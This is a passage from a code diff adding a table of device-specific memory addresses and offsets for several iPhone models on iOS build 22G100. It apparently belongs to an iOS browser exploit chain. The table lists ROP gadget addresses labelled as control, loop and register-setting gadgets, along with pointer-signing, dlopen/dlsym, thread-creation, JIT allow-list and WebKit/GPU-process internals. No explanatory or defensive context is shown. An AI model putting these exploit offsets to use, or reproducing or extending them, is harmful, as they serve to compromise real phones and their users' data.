0x1ed8862b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87bf00n, + }, + "iPhone14,5_22G100": { + __pthread_head : 0x2690e0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa3e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9ed0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9e30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9e80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9278n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708108n, + free_slabs : 0x1ed7c1890n, + gadget_control_1_ios184 : 0x23ed1d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7daab0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da760n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da768n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da770n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da6b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da778n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cabf8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc09870n, + libsystem_c__atexit_mutex : 0x1ed6e6d18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5f80n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25791be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271760000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ad28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__HTMLDocument_vtable : 0x1f10ddbf8n, + WebCore__initPKContact_once : 0x1ed887af8n, + WebCore__initPKContact_value : 0x1ed887b00n, + WebCore__PAL_getPKContactClass : 0x1ed87efb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8862d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8862c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8862b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87bf00n, + }, + "iPhone14,6_22G100": { + __pthread_head : 0x26908c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa1e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9cd0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9c30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9c80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9078n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95e90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707f08n, + free_slabs : 0x1ed7c1690n, + gadget_control_1_ios184 : 0x23ec952ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01e150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da8b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da560n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da568n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da570n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da578n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ca378b4n, + libGPUCompilerImplLazy_cstring : 0x23bb81870n, + libsystem_c__atexit_mutex : 0x1ed6e6b18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5d80n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25788fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271708000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ab28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__HTMLDocument_vtable : 0x1f10ddbf8n, + WebCore__initPKContact_once : 0x1ed8878f8n, + WebCore__initPKContact_value : 0x1ed887900n, + WebCore__PAL_getPKContactClass : 0x1ed87edb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8860d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8860c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8860b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87bd00n, + }, + "iPhone14,7_22G100": { + __pthread_head : 0x2694a8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa5a8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa090n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9ff0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa040n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9438n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7082c8n, + free_slabs : 0x1ed7c1a50n, + gadget_control_1_ios184 : 0x23ed312ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f02e150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfe9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dac70n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da920n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da928n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da930n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da870n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da938n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218879820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cad38b4n, + libGPUCompilerImplLazy_cstring : 0x23bc1d870n, + libsystem_c__atexit_mutex : 0x1ed6e6ed8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d038000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6140n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25792fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d03e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271b6c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87aee8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__HTMLDocument_vtable : 0x1f10ddbf8n, + WebCore__initPKContact_once : 0x1ed887cb8n, + WebCore__initPKContact_value : 0x1ed887cc0n, + WebCore__PAL_getPKContactClass : 0x1ed87f178n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886490n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886488n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed886470n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c0c0n, + }, + "iPhone14,8_22G100": { + __pthread_head : 0x2694a8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa5a8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa090n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9ff0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa040n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9438n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7082c8n, + free_slabs : 0x1ed7c1a50n, + gadget_control_1_ios184 : 0x23ed312ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f02e150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfe9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dac70n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da920n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da928n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da930n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da870n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da938n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218879820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cad38b4n, + libGPUCompilerImplLazy_cstring : 0x23bc1d870n, + libsystem_c__atexit_mutex : 0x1ed6e6ed8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d038000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6140n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25792fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d03e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271b6c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87aee8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__HTMLDocument_vtable : 0x1f10ddbf8n, + WebCore__initPKContact_once : 0x1ed887cb8n, + WebCore__initPKContact_value : 0x1ed887cc0n, + WebCore__PAL_getPKContactClass : 0x1ed87f178n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886490n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886488n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed886470n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c0c0n, + }, + "iPhone15,2_22G100": { + __pthread_head : 0x26a224020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fe6e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1777150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fe1d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fe130n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fe180n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8fd578n, + AXCoreUtilities__DefaultLoader : 0x1eb6106b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee756e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99c90n, + DesktopServicesPriv_bss : 0x1ecad15e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2694ab0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed934420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed70c408n, + free_slabs : 0x1ed7c5b90n, + gadget_control_1_ios184 : 0x23ed752ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f032150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee618660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7772a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dedb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dea60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dea68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dea70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7de9b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dea78n, + ImageIO__gImageIOLogProc : 0x1ee7e13f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95e470n, + JavaScriptCore__jitAllowList_once : 0x1ed95e288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d8000n, + libGPUCompilerImplLazy__invoker : 0x23cb178b4n, + libGPUCompilerImplLazy_cstring : 0x23bc61870n, + libsystem_c__atexit_mutex : 0x1ed6eb018n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, 